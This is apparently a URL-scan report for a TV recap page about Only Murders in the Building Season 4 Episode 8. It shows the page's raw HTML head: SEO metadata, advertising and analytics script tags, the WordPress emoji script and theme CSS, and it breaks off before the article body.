https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/

Submitted URL:
https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/
Report Finished:

The outgoing links identified from the page

JavaScript Variables · 128 found

Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope

Console log messages · 5 found

Messages logged to the web console

HTML

The raw HTML body of the page

<!DOCTYPE html><!--[if IE 8]>    <html class="ie8" lang="en"> <![endif]--><!--[if IE 9]>    <html class="ie9" lang="en"> <![endif]--><!--[if gt IE 8]><!--><html lang="en-US" prefix="og: https://ogp.me/ns#" class=" td-md-is-chrome"><!--<![endif]--><head><script type="text/javascript" async="" src="https://script.4dex.io/localstore.js"></script><script async="" type="text/javascript" src="https://cmp.inmobi.com/tcfv2/53/cmp2.js?referer=hbagency.it"></script><script async="" type="text/javascript" src="https://cmp.inmobi.com/choice/cJsduNRegvC-s/hbagency.it/choice.js?tag_version=V3"></script><script type="text/javascript" async="" src="https://www.google-analytics.com/analytics.js"></script><script type="text/javascript" async="" src="https://www.googletagmanager.com/gtag/js?id=G-58PPX4GHTC&amp;l=dataLayer&amp;cx=c"></script><script src="https://pagead2.googlesyndication.com/pagead/managed/js/adsense/m202410100101/show_ads_impl_with_ama_fy2021.js?client=ca-pub-8058393775546814&amp;plah=otavo.tv&amp;bust=31088058"></script><script type="text/javascript" src="https://hbagency.it/cdn/prebid_7_44_ng.js" async=""></script><script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/postscribe/2.0.8/postscribe.min.js" async=""></script><script type="text/javascript" src="https://boot.pbstck.com/v1/tag/35f9d12f-848e-402e-9a86-f9ddb67d897c" async=""></script><script type="text/javascript" src="https://hbagency.it/cdn/tcf2_cmp_hbagency.js" async=""></script>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="pingback" href="https://otavo.tv/xmlrpc.php">
    <script type="text/javascript">
/* <![CDATA[ */
(()=>{var e={};e.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),function({ampUrl:n,isCustomizePreview:t,isAmpDevMode:r,noampQueryVarName:o,noampQueryVarValue:s,disabledStorageKey:i,mobileUserAgents:a,regexRegex:c}){if("undefined"==typeof sessionStorage)return;const d=new RegExp(c);if(!a.some((e=>{const n=e.match(d);return!(!n||!new RegExp(n[1],n[2]).test(navigator.userAgent))||navigator.userAgent.includes(e)})))return;e.g.addEventListener("DOMContentLoaded",(()=>{const e=document.getElementById("amp-mobile-version-switcher");if(!e)return;e.hidden=!1;const n=e.querySelector("a[href]");n&&n.addEventListener("click",(()=>{sessionStorage.removeItem(i)}))}));const g=r&&["paired-browsing-non-amp","paired-browsing-amp"].includes(window.name);if(sessionStorage.getItem(i)||t||g)return;const u=new URL(location.href),m=new URL(n);m.hash=u.hash,u.searchParams.has(o)&&s===u.searchParams.get(o)?sessionStorage.setItem(i,"1"):m.href!==u.href&&(window.stop(),location.replace(m.href))}({"ampUrl":"https:\/\/otavo.tv\/only-murders-in-the-building-season-4-episode-8-recap\/?amp=1","noampQueryVarName":"noamp","noampQueryVarValue":"mobile","disabledStorageKey":"amp_mobile_redirect_disabled","mobileUserAgents":["Mobile","Android","Silk\/","Kindle","BlackBerry","Opera Mini","Opera Mobi"],"regexRegex":"^\\\/((?:.|\\n)+)\\\/([i]*)$","isCustomizePreview":false,"isAmpDevMode":false})})();
/* ]]> */
</script>
<meta property="og:image" content="https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap-.jpg"><meta name="author" content="Teresa Frazer">
<link rel="icon" type="image/png" href="https://otavo.tv/wp-content/uploads/2024/08/Otavo-favicon-circle.png">
<!-- Search Engine Optimization by Rank Math - https://rankmath.com/ -->
<title>Only Murders In The Building Season 4 Episode 8 Recap</title>
<meta name="description" content="The shocking revelation of—Dudenoff's death's truth is revealed in the eighth and final episode of Only Murders in the Building Season 4. There are a lot of">
<meta name="robots" content="follow, index, max-snippet:-1, max-video-preview:-1, max-image-preview:large">
<link rel="canonical" href="https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/">
<meta property="og:locale" content="en_US">
<meta property="og:type" content="article">
<meta property="og:title" content="Only Murders In The Building Season 4 Episode 8 Recap">
<meta property="og:description" content="The shocking revelation of—Dudenoff's death's truth is revealed in the eighth and final episode of Only Murders in the Building Season 4. There are a lot of">
<meta property="og:url" content="https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/">
<meta property="og:site_name" content="Otavo TV">
<meta property="article:publisher" content="https://www.facebook.com/otavotv/">
<meta property="article:author" content="https://www.facebook.com/otavotv/">
<meta property="article:tag" content="Only Murders in the Building Dudenoff's death's truth">
<meta property="article:tag" content="Only Murders In The Building Recap">
<meta property="article:tag" content="Only Murders in the Building s4e8 Recap">
<meta property="article:tag" content="Only Murders in the Building Season 4 Episode 8 Recap">
<meta property="article:tag" content="Only Murders s4e8 Recap">
<meta property="article:tag" content="Only Murders Season 4 Dudenoff's death's truth">
<meta property="article:tag" content="Only Murders Season 4 Episode 8 Recap">
<meta property="article:section" content="Only Murders In The Building">
<meta property="og:updated_time" content="2024-10-15T08:01:57+00:00">
<meta property="og:image" content="https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap-.jpg">
<meta property="og:image:secure_url" content="https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap-.jpg">
<meta property="og:image:width" content="1062">
<meta property="og:image:height" content="616">
<meta property="og:image:alt" content="Only Murders In The Building 4x8 Recap-">
<meta property="og:image:type" content="image/jpeg">
<meta property="article:published_time" content="2024-10-15T07:59:52+00:00">
<meta property="article:modified_time" content="2024-10-15T08:01:57+00:00">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="Only Murders In The Building Season 4 Episode 8 Recap">
<meta name="twitter:description" content="The shocking revelation of—Dudenoff's death's truth is revealed in the eighth and final episode of Only Murders in the Building Season 4. There are a lot of">
<meta name="twitter:site" content="@https://twitter.com/otavo_tv">
<meta name="twitter:creator" content="@https://twitter.com/otavo_tv">
<meta name="twitter:image" content="https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap-.jpg">
<meta name="twitter:label1" content="Written by">
<meta name="twitter:data1" content="Teresa Frazer">
<meta name="twitter:label2" content="Time to read">
<meta name="twitter:data2" content="4 minutes">
<script type="application/ld+json" class="rank-math-schema">{"@context":"https://schema.org","@graph":[{"@type":["Person","Organization"],"@id":"https://otavo.tv/#person","name":"Otavo TV","sameAs":["https://www.facebook.com/otavotv/","https://twitter.com/https://twitter.com/otavo_tv"]},{"@type":"WebSite","@id":"https://otavo.tv/#website","url":"https://otavo.tv","name":"Otavo TV","publisher":{"@id":"https://otavo.tv/#person"},"inLanguage":"en-US"},{"@type":"ImageObject","@id":"https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap-.jpg","url":"https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap-.jpg","width":"1062","height":"616","caption":"Only Murders In The Building 4x8 Recap-","inLanguage":"en-US"},{"@type":"WebPage","@id":"https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/#webpage","url":"https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/","name":"Only Murders In The Building Season 4 Episode 8 Recap","datePublished":"2024-10-15T07:59:52+00:00","dateModified":"2024-10-15T08:01:57+00:00","isPartOf":{"@id":"https://otavo.tv/#website"},"primaryImageOfPage":{"@id":"https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap-.jpg"},"inLanguage":"en-US"},{"@type":"Person","@id":"https://otavo.tv/author/naviharldh188/","name":"Teresa Frazer","url":"https://otavo.tv/author/naviharldh188/","image":{"@type":"ImageObject","@id":"https://otavo.tv/wp-content/uploads/2023/01/cropped-Teresa-Frazer-96x96.jpg","url":"https://otavo.tv/wp-content/uploads/2023/01/cropped-Teresa-Frazer-96x96.jpg","caption":"Teresa Frazer","inLanguage":"en-US"},"sameAs":["https://otavo.tv"]},{"@type":"BlogPosting","headline":"Only Murders In The Building Season 4 Episode 8 Recap","keywords":"Only Murders in the Building Season 4 Episode 8 Recap","datePublished":"2024-10-15T07:59:52+00:00","dateModified":"2024-10-15T08:01:57+00:00","articleSection":"Only Murders In The Building","author":{"@id":"https://otavo.tv/author/naviharldh188/","name":"Teresa Frazer"},"publisher":{"@id":"https://otavo.tv/#person"},"description":"The shocking revelation of\u2014Dudenoff&#039;s death&#039;s truth is revealed in the eighth and final episode of Only Murders in the Building Season 4. There are a lot of","name":"Only Murders In The Building Season 4 Episode 8 Recap","@id":"https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/#richSnippet","isPartOf":{"@id":"https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/#webpage"},"image":{"@id":"https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap-.jpg"},"inLanguage":"en-US","mainEntityOfPage":{"@id":"https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/#webpage"}}]}</script>
<!-- /Rank Math WordPress SEO plugin -->

<link rel="alternate" type="application/rss+xml" title="Otavo TV » Only Murders in the Building Season 4 Episode 8 Recap Comments Feed" href="https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/feed/">
<script type="text/javascript">
/* <![CDATA[ */
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/otavo.tv\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.6.2"}};
/*! This file is auto-generated */
!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
/* ]]> */
</script>
<style id="wp-emoji-styles-inline-css" type="text/css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
</style>
<link rel="stylesheet" id="wp-block-library-css" href="https://otavo.tv/wp-includes/css/dist/block-library/style.min.css?ver=6.6.2" type="text/css" media="all">
<style id="rank-math-toc-block-style-inline-css" type="text/css">
.wp-block-rank-math-toc-block nav ol{counter-reset:item}.wp-block-rank-math-toc-block nav ol li{display:block}.wp-block-rank-math-toc-block nav ol li:before{content:counters(item, ".") ". ";counter-increment:item}

</style>
<style id="classic-theme-styles-inline-css" type="text/css">
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
</style>
<style id="global-styles-inline-css" type="text/css">
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
</style>
<link rel="stylesheet" id="td-plugin-multi-purpose-css" href="https://otavo.tv/wp-content/plugins/td-composer/td-multi-purpose/style.css?ver=72f925014dc5642945728092f057897e" type="text/css" media="all">
<link rel="stylesheet" id="td-theme-css" href="https://otavo.tv/wp-content/plugins/td-composer/mobile/style.css?ver=12.6.6" type="text/css" media="all">
<script type="text/javascript" id="asenha-public-js-extra">
/* <![CDATA[ */
var phpVars = {"externalPermalinksEnabled":"1"};
/* ]]> */
</script>
<script type="text/javascript" src="https://otavo.tv/wp-content/plugins/admin-site-enhancements/assets/js/external-permalinks.js?ver=7.4.7" id="asenha-public-js"></script>
<script type="text/javascript" src="https://otavo.tv/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script type="text/javascript" src="https://otavo.tv/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
<link rel="https://api.w.org/" href="https://otavo.tv/wp-json/"><link rel="alternate" title="JSON" type="application/json" href="https://otavo.tv/wp-json/wp/v2/posts/22231"><meta name="generator" content="WordPress 6.6.2">
<link rel="shortlink" href="https://otavo.tv/?p=22231">
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://otavo.tv/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fotavo.tv%2Fonly-murders-in-the-building-season-4-episode-8-recap%2F">
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://otavo.tv/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fotavo.tv%2Fonly-murders-in-the-building-season-4-episode-8-recap%2F&amp;format=xml">
<link rel="alternate" type="text/html" media="only screen and (max-width: 640px)" href="https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/?amp=1"><link rel="amphtml" href="https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/?amp=1"><style>#amp-mobile-version-switcher{left:0;position:absolute;width:100%;z-index:100}#amp-mobile-version-switcher>a{background-color:#444;border:0;color:#eaeaea;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;font-weight:600;padding:15px 0;text-align:center;-webkit-text-decoration:none;text-decoration:none}#amp-mobile-version-switcher>a:active,#amp-mobile-version-switcher>a:focus,#amp-mobile-version-switcher>a:hover{-webkit-text-decoration:underline;text-decoration:underline}</style>
<!-- JS generated by theme -->

<script type="text/javascript" id="td-generated-header-js">
    
    
        // td_js_generator - mini detector
        (function(){
            var htmlTag = document.getElementsByTagName("html")[0];

            if ( navigator.userAgent.indexOf("MSIE 10.0") > -1 ) {
                htmlTag.className += ' ie10';
            }

            if ( !!navigator.userAgent.match(/Trident.*rv\:11\./) ) {
                htmlTag.className += ' ie11';
            }

            if ( /(iPad|iPhone|iPod)/g.test(navigator.userAgent) ) {
                htmlTag.className += ' td-md-is-ios';
            }

            var user_agent = navigator.userAgent.toLowerCase();
            if ( user_agent.indexOf("android") > -1 ) {
                htmlTag.className += ' td-md-is-android';
            }

            if ( -1 !== navigator.userAgent.indexOf('Mac OS X')  ) {
                htmlTag.className += ' td-md-is-os-x';
            }

            if ( /chrom(e|ium)/.test(navigator.userAgent.toLowerCase()) ) {
               htmlTag.className += ' td-md-is-chrome';
            }

            if ( -1 !== navigator.userAgent.indexOf('Firefox') ) {
                htmlTag.className += ' td-md-is-firefox';
            }

            if ( -1 !== navigator.userAgent.indexOf('Safari') && -1 === navigator.userAgent.indexOf('Chrome') ) {
                htmlTag.className += ' td-md-is-safari';
            }

            if( -1 !== navigator.userAgent.indexOf('IEMobile') ){
                htmlTag.className += ' td-md-is-iemobile';
            }

        })();


        var tdLocalCache = {};

        ( function () {
            "use strict";

            tdLocalCache = {
                data: {},
                remove: function (resource_id) {
                    delete tdLocalCache.data[resource_id];
                },
                exist: function (resource_id) {
                    return tdLocalCache.data.hasOwnProperty(resource_id) && tdLocalCache.data[resource_id] !== null;
                },
                get: function (resource_id) {
                    return tdLocalCache.data[resource_id];
                },
                set: function (resource_id, cachedData) {
                    tdLocalCache.remove(resource_id);
                    tdLocalCache.data[resource_id] = cachedData;
                }
            };
        })();

    

    
var td_ajax_url="https:\/\/otavo.tv\/wp-admin\/admin-ajax.php?td_theme_name=Newspaper&v=12.6.6";
var tdThemeName="Newspaper";
var td_please_wait="Please wait...";
var td_email_user_pass_incorrect="User or password incorrect!";
var td_email_user_incorrect="Email or username incorrect!";
var td_email_incorrect="Email incorrect!";
</script>

<!-- HBAgency ADS -->
<script src="https://d3u598arehftfk.cloudfront.net/prebid_hb_883_3528.js" async=""> </script>

<script async="" src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8058393775546814" crossorigin="anonymous" data-checked-head="true"></script>

<!-- Google tag (gtag.js) -->
<script async="" src="https://www.googletagmanager.com/gtag/js?id=UA-73151867-1"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'UA-73151867-1');
</script>


<!-- Google ADS -->
<script async="" src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8058393775546814" crossorigin="anonymous" data-checked-head="true"></script>
<!-- Button style compiled by theme -->

<style>
/* custom css - generated by TagDiv Composer */
    .tdm-btn-style1 {
					background-color: #2b78ff;
				}
				.tdm-btn-style2:before {
				    border-color: #2b78ff;
				}
				.tdm-btn-style2 {
				    color: #2b78ff;
				}
				.tdm-btn-style3 {
				    -webkit-box-shadow: 0 2px 16px #2b78ff;
                    -moz-box-shadow: 0 2px 16px #2b78ff;
                    box-shadow: 0 2px 16px #2b78ff;
				}
				.tdm-btn-style3:hover {
				    -webkit-box-shadow: 0 4px 26px #2b78ff;
                    -moz-box-shadow: 0 4px 26px #2b78ff;
                    box-shadow: 0 4px 26px #2b78ff;
				}
</style>

	<style id="tdw-css-placeholder">/* custom css - generated by TagDiv Composer */
